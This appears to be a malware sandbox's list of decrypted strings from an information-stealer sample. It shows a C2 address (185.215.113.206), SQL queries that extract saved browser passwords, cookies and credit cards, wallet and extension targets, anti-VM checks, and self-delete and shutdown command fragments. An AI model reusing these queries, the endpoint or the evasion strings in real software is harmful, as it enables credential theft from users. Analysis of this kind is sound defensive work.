Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProductName
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: CurrentBuild
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32.exe
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: "taskkill /f /im "
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && timeout 1 && del
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: && Exit"
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && ren
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Powershell.exe
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shutdown -s -t 0
Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp	String decryptor: random
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 07
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 01
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 20
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 25
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetProcAddress
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: LoadLibraryA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: lstrcatA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: OpenEventA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CreateEventA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CloseHandle
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Sleep
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: VirtualFree
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetSystemInfo
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: VirtualAlloc
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: HeapAlloc
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetComputerNameA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: lstrcpyA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetProcessHeap
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetCurrentProcess
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: lstrlenA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ExitProcess
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetSystemTime
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: advapi32.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: gdi32.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: user32.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: crypt32.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetUserNameA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CreateDCA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetDeviceCaps
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ReleaseDC
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sscanf
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: VMwareVMware
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: HAL9TH
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: JohnDoe
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: DISPLAY
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: http://185.215.113.206
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: stok
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetFileAttributesA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: HeapFree
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetFileSize
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GlobalSize
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: IsWow64Process
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Process32Next
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetLocalTime
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: FreeLibrary
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetVolumeInformationA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Process32First
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetLocaleInfoA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetModuleFileNameA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: DeleteFileA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: FindNextFileA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: LocalFree
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: FindClose
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: LocalAlloc
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetFileSizeEx
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ReadFile
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SetFilePointer
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: WriteFile
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CreateFileA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: FindFirstFileA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CopyFileA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: VirtualProtect
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetLastError
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: lstrcpynA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: MultiByteToWideChar
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GlobalFree
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: WideCharToMultiByte
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GlobalAlloc
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: OpenProcess
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: TerminateProcess
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetCurrentProcessId
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: gdiplus.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ole32.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: bcrypt.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: wininet.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: shlwapi.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: shell32.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: rstrtmgr.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SelectObject
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: BitBlt
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: DeleteObject
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CreateCompatibleDC
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdiplusStartup
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdiplusShutdown
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdipDisposeImage
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GdipFree
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CoUninitialize
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CoInitialize
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CoCreateInstance
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: BCryptDecrypt
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: BCryptSetProperty
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: BCryptDestroyKey
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetWindowRect
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetDesktopWindow
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetDC
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CloseWindow
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: wsprintfA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CharToOemW
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: wsprintfW
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RegQueryValueExA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RegEnumKeyExA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RegOpenKeyExA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RegCloseKey
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RegEnumValueA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CryptUnprotectData
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SHGetFolderPathA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ShellExecuteExA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: InternetOpenUrlA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: InternetConnectA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: InternetCloseHandle
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: HttpSendRequestA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: HttpOpenRequestA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: InternetReadFile
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: InternetCrackUrlA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: StrCmpCA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: StrStrA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: StrCmpCW
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: PathMatchSpecA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RmStartSession
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RmRegisterResources
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RmGetList
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: RmEndSession
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_open
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_step
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_column_text
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_finalize
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_close
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3_column_blob
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: encrypted_key
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: PATH
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: NSS_Init
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: NSS_Shutdown
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: PK11_FreeSlot
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: PK11_Authenticate
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: C:\ProgramData\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: browser:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: profile:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: url:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: login:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: password:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Opera
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: OperaGX
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Network
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: cookies
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: .txt
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: TRUE
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: FALSE
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: autofill
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: history
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: cc
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: name:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: month:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: year:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: card:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Cookies
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Login Data
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Web Data
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: History
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: logins.json
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: formSubmitURL
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: usernameField
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: encryptedUsername
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: encryptedPassword
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: guid
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: cookies.sqlite
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: formhistory.sqlite
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: places.sqlite
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: plugins
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Local Extension Settings
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Sync Extension Settings
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: IndexedDB
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Opera Stable
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Opera GX Stable
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: CURRENT
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: chrome-extension_
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Local State
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: profiles.ini
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: chrome
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: opera
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: firefox
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: wallets
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ProductName
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: x32
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: x64
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: DisplayName
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: DisplayVersion
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Network Info:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - IP: IP?
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Country: ISO?
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: System Summary:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - HWID:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - OS:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Architecture:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - UserName:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Computer Name:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Local Time:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - UTC:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Language:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Keyboards:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Laptop:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Running Path:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - CPU:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Threads:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Cores:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - RAM:
